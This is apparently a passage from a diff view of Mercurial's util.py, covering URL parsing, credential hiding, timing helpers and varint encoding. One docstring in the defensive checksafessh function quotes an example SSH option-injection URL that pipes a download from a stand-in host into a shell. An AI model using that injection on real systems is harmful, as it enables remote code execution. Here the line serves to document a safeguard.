2952 2963
2953 2964 Note that for backward compatibility reasons, bundle URLs do not
2954 2965 take host names. That means 'bundle://../' has a path of '../'.
2955 2966
2956 2967 Examples:
2957 2968
2958 2969 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2959 2970 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2960 2971 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2961 2972 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2962 2973 >>> url(b'file:///home/joe/repo')
2963 2974 <url scheme: 'file', path: '/home/joe/repo'>
2964 2975 >>> url(b'file:///c:/temp/foo/')
2965 2976 <url scheme: 'file', path: 'c:/temp/foo/'>
2966 2977 >>> url(b'bundle:foo')
2967 2978 <url scheme: 'bundle', path: 'foo'>
2968 2979 >>> url(b'bundle://../foo')
2969 2980 <url scheme: 'bundle', path: '../foo'>
2970 2981 >>> url(br'c:\foo\bar')
2971 2982 <url path: 'c:\\foo\\bar'>
2972 2983 >>> url(br'\\blah\blah\blah')
2973 2984 <url path: '\\\\blah\\blah\\blah'>
2974 2985 >>> url(br'\\blah\blah\blah#baz')
2975 2986 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2976 2987 >>> url(br'file:///C:\users\me')
2977 2988 <url scheme: 'file', path: 'C:\\users\\me'>
2978 2989
2979 2990 Authentication credentials:
2980 2991
2981 2992 >>> url(b'ssh://joe:xyz@x/repo')
2982 2993 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2983 2994 >>> url(b'ssh://joe@x/repo')
2984 2995 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2985 2996
2986 2997 Query strings and fragments:
2987 2998
2988 2999 >>> url(b'http://host/a?b#c')
2989 3000 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2990 3001 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2991 3002 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2992 3003
2993 3004 Empty path:
2994 3005
2995 3006 >>> url(b'')
2996 3007 <url path: ''>
2997 3008 >>> url(b'#a')
2998 3009 <url path: '', fragment: 'a'>
2999 3010 >>> url(b'http://host/')
3000 3011 <url scheme: 'http', host: 'host', path: ''>
3001 3012 >>> url(b'http://host/#a')
3002 3013 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3003 3014
3004 3015 Only scheme:
3005 3016
3006 3017 >>> url(b'http:')
3007 3018 <url scheme: 'http'>
3008 3019 """
3009 3020
3010 3021 _safechars = b"!~*'()+"
3011 3022 _safepchars = b"/!~*'()+:\\"
3012 3023 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3013 3024
3014 3025 def __init__(self, path, parsequery=True, parsefragment=True):
3015 3026 # We slowly chomp away at path until we have only the path left
3016 3027 self.scheme = self.user = self.passwd = self.host = None
3017 3028 self.port = self.path = self.query = self.fragment = None
3018 3029 self._localpath = True
3019 3030 self._hostport = b''
3020 3031 self._origpath = path
3021 3032
3022 3033 if parsefragment and b'#' in path:
3023 3034 path, self.fragment = path.split(b'#', 1)
3024 3035
3025 3036 # special case for Windows drive letters and UNC paths
3026 3037 if hasdriveletter(path) or path.startswith(b'\\\\'):
3027 3038 self.path = path
3028 3039 return
3029 3040
3030 3041 # For compatibility reasons, we can't handle bundle paths as
3031 3042 # normal URLS
3032 3043 if path.startswith(b'bundle:'):
3033 3044 self.scheme = b'bundle'
3034 3045 path = path[7:]
3035 3046 if path.startswith(b'//'):
3036 3047 path = path[2:]
3037 3048 self.path = path
3038 3049 return
3039 3050
3040 3051 if self._matchscheme(path):
3041 3052 parts = path.split(b':', 1)
3042 3053 if parts[0]:
3043 3054 self.scheme, path = parts
3044 3055 self._localpath = False
3045 3056
3046 3057 if not path:
3047 3058 path = None
3048 3059 if self._localpath:
3049 3060 self.path = b''
3050 3061 return
3051 3062 else:
3052 3063 if self._localpath:
3053 3064 self.path = path
3054 3065 return
3055 3066
3056 3067 if parsequery and b'?' in path:
3057 3068 path, self.query = path.split(b'?', 1)
3058 3069 if not path:
3059 3070 path = None
3060 3071 if not self.query:
3061 3072 self.query = None
3062 3073
3063 3074 # // is required to specify a host/authority
3064 3075 if path and path.startswith(b'//'):
3065 3076 parts = path[2:].split(b'/', 1)
3066 3077 if len(parts) > 1:
3067 3078 self.host, path = parts
3068 3079 else:
3069 3080 self.host = parts[0]
3070 3081 path = None
3071 3082 if not self.host:
3072 3083 self.host = None
3073 3084 # path of file:///d is /d
3074 3085 # path of file:///d:/ is d:/, not /d:/
3075 3086 if path and not hasdriveletter(path):
3076 3087 path = b'/' + path
3077 3088
3078 3089 if self.host and b'@' in self.host:
3079 3090 self.user, self.host = self.host.rsplit(b'@', 1)
3080 3091 if b':' in self.user:
3081 3092 self.user, self.passwd = self.user.split(b':', 1)
3082 3093 if not self.host:
3083 3094 self.host = None
3084 3095
3085 3096 # Don't split on colons in IPv6 addresses without ports
3086 3097 if (
3087 3098 self.host
3088 3099 and b':' in self.host
3089 3100 and not (
3090 3101 self.host.startswith(b'[') and self.host.endswith(b']')
3091 3102 )
3092 3103 ):
3093 3104 self._hostport = self.host
3094 3105 self.host, self.port = self.host.rsplit(b':', 1)
3095 3106 if not self.host:
3096 3107 self.host = None
3097 3108
3098 3109 if (
3099 3110 self.host
3100 3111 and self.scheme == b'file'
3101 3112 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
3102 3113 ):
3103 3114 raise error.Abort(
3104 3115 _(b'file:// URLs can only refer to localhost')
3105 3116 )
3106 3117
3107 3118 self.path = path
3108 3119
3109 3120 # leave the query string escaped
3110 3121 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
3111 3122 v = getattr(self, a)
3112 3123 if v is not None:
3113 3124 setattr(self, a, urlreq.unquote(v))
3114 3125
3115 3126 @encoding.strmethod
3116 3127 def __repr__(self):
3117 3128 attrs = []
3118 3129 for a in (
3119 3130 b'scheme',
3120 3131 b'user',
3121 3132 b'passwd',
3122 3133 b'host',
3123 3134 b'port',
3124 3135 b'path',
3125 3136 b'query',
3126 3137 b'fragment',
3127 3138 ):
3128 3139 v = getattr(self, a)
3129 3140 if v is not None:
3130 3141 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
3131 3142 return b'<url %s>' % b', '.join(attrs)
3132 3143
3133 3144 def __bytes__(self):
3134 3145 r"""Join the URL's components back into a URL string.
3135 3146
3136 3147 Examples:
3137 3148
3138 3149 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3139 3150 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3140 3151 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3141 3152 'http://user:pw@host:80/?foo=bar&baz=42'
3142 3153 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3143 3154 'http://user:pw@host:80/?foo=bar%3dbaz'
3144 3155 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3145 3156 'ssh://user:pw@[::1]:2200//home/joe#'
3146 3157 >>> bytes(url(b'http://localhost:80//'))
3147 3158 'http://localhost:80//'
3148 3159 >>> bytes(url(b'http://localhost:80/'))
3149 3160 'http://localhost:80/'
3150 3161 >>> bytes(url(b'http://localhost:80'))
3151 3162 'http://localhost:80/'
3152 3163 >>> bytes(url(b'bundle:foo'))
3153 3164 'bundle:foo'
3154 3165 >>> bytes(url(b'bundle://../foo'))
3155 3166 'bundle:../foo'
3156 3167 >>> bytes(url(b'path'))
3157 3168 'path'
3158 3169 >>> bytes(url(b'file:///tmp/foo/bar'))
3159 3170 'file:///tmp/foo/bar'
3160 3171 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3161 3172 'file:///c:/tmp/foo/bar'
3162 3173 >>> print(url(br'bundle:foo\bar'))
3163 3174 bundle:foo\bar
3164 3175 >>> print(url(br'file:///D:\data\hg'))
3165 3176 file:///D:\data\hg
3166 3177 """
3167 3178 if self._localpath:
3168 3179 s = self.path
3169 3180 if self.scheme == b'bundle':
3170 3181 s = b'bundle:' + s
3171 3182 if self.fragment:
3172 3183 s += b'#' + self.fragment
3173 3184 return s
3174 3185
3175 3186 s = self.scheme + b':'
3176 3187 if self.user or self.passwd or self.host:
3177 3188 s += b'//'
3178 3189 elif self.scheme and (
3179 3190 not self.path
3180 3191 or self.path.startswith(b'/')
3181 3192 or hasdriveletter(self.path)
3182 3193 ):
3183 3194 s += b'//'
3184 3195 if hasdriveletter(self.path):
3185 3196 s += b'/'
3186 3197 if self.user:
3187 3198 s += urlreq.quote(self.user, safe=self._safechars)
3188 3199 if self.passwd:
3189 3200 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
3190 3201 if self.user or self.passwd:
3191 3202 s += b'@'
3192 3203 if self.host:
3193 3204 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
3194 3205 s += urlreq.quote(self.host)
3195 3206 else:
3196 3207 s += self.host
3197 3208 if self.port:
3198 3209 s += b':' + urlreq.quote(self.port)
3199 3210 if self.host:
3200 3211 s += b'/'
3201 3212 if self.path:
3202 3213 # TODO: similar to the query string, we should not unescape the
3203 3214 # path when we store it, the path might contain '%2f' = '/',
3204 3215 # which we should *not* escape.
3205 3216 s += urlreq.quote(self.path, safe=self._safepchars)
3206 3217 if self.query:
3207 3218 # we store the query in escaped form.
3208 3219 s += b'?' + self.query
3209 3220 if self.fragment is not None:
3210 3221 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
3211 3222 return s
3212 3223
3213 3224 __str__ = encoding.strmethod(__bytes__)
3214 3225
3215 3226 def authinfo(self):
3216 3227 user, passwd = self.user, self.passwd
3217 3228 try:
3218 3229 self.user, self.passwd = None, None
3219 3230 s = bytes(self)
3220 3231 finally:
3221 3232 self.user, self.passwd = user, passwd
3222 3233 if not self.user:
3223 3234 return (s, None)
3224 3235 # authinfo[1] is passed to urllib2 password manager, and its
3225 3236 # URIs must not contain credentials. The host is passed in the
3226 3237 # URIs list because Python < 2.4.3 uses only that to search for
3227 3238 # a password.
3228 3239 return (s, (None, (s, self.host), self.user, self.passwd or b''))
3229 3240
3230 3241 def isabs(self):
3231 3242 if self.scheme and self.scheme != b'file':
3232 3243 return True # remote URL
3233 3244 if hasdriveletter(self.path):
3234 3245 return True # absolute for our purposes - can't be joined()
3235 3246 if self.path.startswith(br'\\'):
3236 3247 return True # Windows UNC path
3237 3248 if self.path.startswith(b'/'):
3238 3249 return True # POSIX-style
3239 3250 return False
3240 3251
3241 3252 def localpath(self):
3242 3253 if self.scheme == b'file' or self.scheme == b'bundle':
3243 3254 path = self.path or b'/'
3244 3255 # For Windows, we need to promote hosts containing drive
3245 3256 # letters to paths with drive letters.
3246 3257 if hasdriveletter(self._hostport):
3247 3258 path = self._hostport + b'/' + self.path
3248 3259 elif (
3249 3260 self.host is not None and self.path and not hasdriveletter(path)
3250 3261 ):
3251 3262 path = b'/' + path
3252 3263 return path
3253 3264 return self._origpath
3254 3265
3255 3266 def islocal(self):
3256 3267 '''whether localpath will return something that posixfile can open'''
3257 3268 return (
3258 3269 not self.scheme
3259 3270 or self.scheme == b'file'
3260 3271 or self.scheme == b'bundle'
3261 3272 )
3262 3273
3263 3274
3264 3275 def hasscheme(path):
3265 3276 return bool(url(path).scheme)
3266 3277
3267 3278
3268 3279 def hasdriveletter(path):
3269 3280 return path and path[1:2] == b':' and path[0:1].isalpha()
3270 3281
3271 3282
3272 3283 def urllocalpath(path):
3273 3284 return url(path, parsequery=False, parsefragment=False).localpath()
3274 3285
3275 3286
3276 3287 def checksafessh(path):
3277 3288 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3278 3289
3279 3290 This is a sanity check for ssh urls. ssh will parse the first item as
3280 3291 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3281 3292 Let's prevent these potentially exploited urls entirely and warn the
3282 3293 user.
3283 3294
3284 3295 Raises an error.Abort when the url is unsafe.
3285 3296 """
3286 3297 path = urlreq.unquote(path)
3287 3298 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
3288 3299 raise error.Abort(
3289 3300 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3290 3301 )
3291 3302
3292 3303
3293 3304 def hidepassword(u):
3294 3305 '''hide user credential in a url string'''
3295 3306 u = url(u)
3296 3307 if u.passwd:
3297 3308 u.passwd = b'***'
3298 3309 return bytes(u)
3299 3310
3300 3311
3301 3312 def removeauth(u):
3302 3313 '''remove all authentication information from a url string'''
3303 3314 u = url(u)
3304 3315 u.user = u.passwd = None
3305 3316 return bytes(u)
3306 3317
3307 3318
3308 3319 timecount = unitcountfn(
3309 3320 (1, 1e3, _(b'%.0f s')),
3310 3321 (100, 1, _(b'%.1f s')),
3311 3322 (10, 1, _(b'%.2f s')),
3312 3323 (1, 1, _(b'%.3f s')),
3313 3324 (100, 0.001, _(b'%.1f ms')),
3314 3325 (10, 0.001, _(b'%.2f ms')),
3315 3326 (1, 0.001, _(b'%.3f ms')),
3316 3327 (100, 0.000001, _(b'%.1f us')),
3317 3328 (10, 0.000001, _(b'%.2f us')),
3318 3329 (1, 0.000001, _(b'%.3f us')),
3319 3330 (100, 0.000000001, _(b'%.1f ns')),
3320 3331 (10, 0.000000001, _(b'%.2f ns')),
3321 3332 (1, 0.000000001, _(b'%.3f ns')),
3322 3333 )
3323 3334
3324 3335
3325 3336 @attr.s
3326 3337 class timedcmstats(object):
3327 3338 """Stats information produced by the timedcm context manager on entering."""
3328 3339
3329 3340 # the starting value of the timer as a float (meaning and resulution is
3330 3341 # platform dependent, see util.timer)
3331 3342 start = attr.ib(default=attr.Factory(lambda: timer()))
3332 3343 # the number of seconds as a floating point value; starts at 0, updated when
3333 3344 # the context is exited.
3334 3345 elapsed = attr.ib(default=0)
3335 3346 # the number of nested timedcm context managers.
3336 3347 level = attr.ib(default=1)
3337 3348
3338 3349 def __bytes__(self):
3339 3350 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
3340 3351
3341 3352 __str__ = encoding.strmethod(__bytes__)
3342 3353
3343 3354
3344 3355 @contextlib.contextmanager
3345 3356 def timedcm(whencefmt, *whenceargs):
3346 3357 """A context manager that produces timing information for a given context.
3347 3358
3348 3359 On entering a timedcmstats instance is produced.
3349 3360
3350 3361 This context manager is reentrant.
3351 3362
3352 3363 """
3353 3364 # track nested context managers
3354 3365 timedcm._nested += 1
3355 3366 timing_stats = timedcmstats(level=timedcm._nested)
3356 3367 try:
3357 3368 with tracing.log(whencefmt, *whenceargs):
3358 3369 yield timing_stats
3359 3370 finally:
3360 3371 timing_stats.elapsed = timer() - timing_stats.start
3361 3372 timedcm._nested -= 1
3362 3373
3363 3374
3364 3375 timedcm._nested = 0
3365 3376
3366 3377
3367 3378 def timed(func):
3368 3379 '''Report the execution time of a function call to stderr.
3369 3380
3370 3381 During development, use as a decorator when you need to measure
3371 3382 the cost of a function, e.g. as follows:
3372 3383
3373 3384 @util.timed
3374 3385 def foo(a, b, c):
3375 3386 pass
3376 3387 '''
3377 3388
3378 3389 def wrapper(*args, **kwargs):
3379 3390 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
3380 3391 result = func(*args, **kwargs)
3381 3392 stderr = procutil.stderr
3382 3393 stderr.write(
3383 3394 b'%s%s: %s\n'
3384 3395 % (
3385 3396 b' ' * time_stats.level * 2,
3386 3397 pycompat.bytestr(func.__name__),
3387 3398 time_stats,
3388 3399 )
3389 3400 )
3390 3401 return result
3391 3402
3392 3403 return wrapper
3393 3404
3394 3405
3395 3406 _sizeunits = (
3396 3407 (b'm', 2 ** 20),
3397 3408 (b'k', 2 ** 10),
3398 3409 (b'g', 2 ** 30),
3399 3410 (b'kb', 2 ** 10),
3400 3411 (b'mb', 2 ** 20),
3401 3412 (b'gb', 2 ** 30),
3402 3413 (b'b', 1),
3403 3414 )
3404 3415
3405 3416
3406 3417 def sizetoint(s):
3407 3418 '''Convert a space specifier to a byte count.
3408 3419
3409 3420 >>> sizetoint(b'30')
3410 3421 30
3411 3422 >>> sizetoint(b'2.2kb')
3412 3423 2252
3413 3424 >>> sizetoint(b'6M')
3414 3425 6291456
3415 3426 '''
3416 3427 t = s.strip().lower()
3417 3428 try:
3418 3429 for k, u in _sizeunits:
3419 3430 if t.endswith(k):
3420 3431 return int(float(t[: -len(k)]) * u)
3421 3432 return int(t)
3422 3433 except ValueError:
3423 3434 raise error.ParseError(_(b"couldn't parse size: %s") % s)
3424 3435
3425 3436
3426 3437 class hooks(object):
3427 3438 '''A collection of hook functions that can be used to extend a
3428 3439 function's behavior. Hooks are called in lexicographic order,
3429 3440 based on the names of their sources.'''
3430 3441
3431 3442 def __init__(self):
3432 3443 self._hooks = []
3433 3444
3434 3445 def add(self, source, hook):
3435 3446 self._hooks.append((source, hook))
3436 3447
3437 3448 def __call__(self, *args):
3438 3449 self._hooks.sort(key=lambda x: x[0])
3439 3450 results = []
3440 3451 for source, hook in self._hooks:
3441 3452 results.append(hook(*args))
3442 3453 return results
3443 3454
3444 3455
3445 3456 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
3446 3457 '''Yields lines for a nicely formatted stacktrace.
3447 3458 Skips the 'skip' last entries, then return the last 'depth' entries.
3448 3459 Each file+linenumber is formatted according to fileline.
3449 3460 Each line is formatted according to line.
3450 3461 If line is None, it yields:
3451 3462 length of longest filepath+line number,
3452 3463 filepath+linenumber,
3453 3464 function
3454 3465
3455 3466 Not be used in production code but very convenient while developing.
3456 3467 '''
3457 3468 entries = [
3458 3469 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3459 3470 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
3460 3471 ][-depth:]
3461 3472 if entries:
3462 3473 fnmax = max(len(entry[0]) for entry in entries)
3463 3474 for fnln, func in entries:
3464 3475 if line is None:
3465 3476 yield (fnmax, fnln, func)
3466 3477 else:
3467 3478 yield line % (fnmax, fnln, func)
3468 3479
3469 3480
3470 3481 def debugstacktrace(
3471 3482 msg=b'stacktrace',
3472 3483 skip=0,
3473 3484 f=procutil.stderr,
3474 3485 otherf=procutil.stdout,
3475 3486 depth=0,
3476 3487 prefix=b'',
3477 3488 ):
3478 3489 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3479 3490 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3480 3491 By default it will flush stdout first.
3481 3492 It can be used everywhere and intentionally does not require an ui object.
3482 3493 Not be used in production code but very convenient while developing.
3483 3494 '''
3484 3495 if otherf:
3485 3496 otherf.flush()
3486 3497 f.write(b'%s%s at:\n' % (prefix, msg.rstrip()))
3487 3498 for line in getstackframes(skip + 1, depth=depth):
3488 3499 f.write(prefix + line)
3489 3500 f.flush()
3490 3501
3491 3502
3492 3503 # convenient shortcut
3493 3504 dst = debugstacktrace
3494 3505
3495 3506
3496 3507 def safename(f, tag, ctx, others=None):
3497 3508 """
3498 3509 Generate a name that it is safe to rename f to in the given context.
3499 3510
3500 3511 f: filename to rename
3501 3512 tag: a string tag that will be included in the new name
3502 3513 ctx: a context, in which the new name must not exist
3503 3514 others: a set of other filenames that the new name must not be in
3504 3515
3505 3516 Returns a file name of the form oldname~tag[~number] which does not exist
3506 3517 in the provided context and is not in the set of other names.
3507 3518 """
3508 3519 if others is None:
3509 3520 others = set()
3510 3521
3511 3522 fn = b'%s~%s' % (f, tag)
3512 3523 if fn not in ctx and fn not in others:
3513 3524 return fn
3514 3525 for n in itertools.count(1):
3515 3526 fn = b'%s~%s~%s' % (f, tag, n)
3516 3527 if fn not in ctx and fn not in others:
3517 3528 return fn
3518 3529
3519 3530
3520 3531 def readexactly(stream, n):
3521 3532 '''read n bytes from stream.read and abort if less was available'''
3522 3533 s = stream.read(n)
3523 3534 if len(s) < n:
3524 3535 raise error.Abort(
3525 3536 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
3526 3537 % (len(s), n)
3527 3538 )
3528 3539 return s
3529 3540
3530 3541
3531 3542 def uvarintencode(value):
3532 3543 """Encode an unsigned integer value to a varint.
3533 3544
3534 3545 A varint is a variable length integer of 1 or more bytes. Each byte
3535 3546 except the last has the most significant bit set. The lower 7 bits of
3536 3547 each byte store the 2's complement representation, least significant group
3537 3548 first.
3538 3549
3539 3550 >>> uvarintencode(0)
3540 3551 '\\x00'
3541 3552 >>> uvarintencode(1)
3542 3553 '\\x01'
3543 3554 >>> uvarintencode(127)
3544 3555 '\\x7f'
3545 3556 >>> uvarintencode(1337)
3546 3557 '\\xb9\\n'
3547 3558 >>> uvarintencode(65536)
3548 3559 '\\x80\\x80\\x04'
3549 3560 >>> uvarintencode(-1)
3550 3561 Traceback (most recent call last):
3551 3562 ...
3552 3563 ProgrammingError: negative value for uvarint: -1
3553 3564 """
3554 3565 if value < 0:
3555 3566 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
3556 3567 bits = value & 0x7F
3557 3568 value >>= 7
3558 3569 bytes = []
3559 3570 while value:
3560 3571 bytes.append(pycompat.bytechr(0x80 | bits))
3561 3572 bits = value & 0x7F
3562 3573 value >>= 7
3563 3574 bytes.append(pycompat.bytechr(bits))
3564 3575
3565 3576 return b''.join(bytes)
3566 3577
3567 3578
3568 3579 def uvarintdecodestream(fh):
3569 3580 """Decode an unsigned variable length integer from a stream.
3570 3581
3571 3582 The passed argument is anything that has a ``.read(N)`` method.
3572 3583
3573 3584 >>> try:
3574 3585 ... from StringIO import StringIO as BytesIO
3575 3586 ... except ImportError:
3576 3587 ... from io import BytesIO
3577 3588 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3578 3589 0
3579 3590 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3580 3591 1
3581 3592 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3582 3593 127
3583 3594 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3584 3595 1337
3585 3596 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3586 3597 65536
3587 3598 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3588 3599 Traceback (most recent call last):
3589 3600 ...
3590 3601 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3591 3602 """
3592 3603 result = 0
3593 3604 shift = 0
3594 3605 while True:
3595 3606 byte = ord(readexactly(fh, 1))
3596 3607 result |= (byte & 0x7F) << shift
3597 3608 if not (byte & 0x80):
3598 3609 return result
3599 3610 shift += 7
General Comments 0
You need to be logged in to leave comments. Login now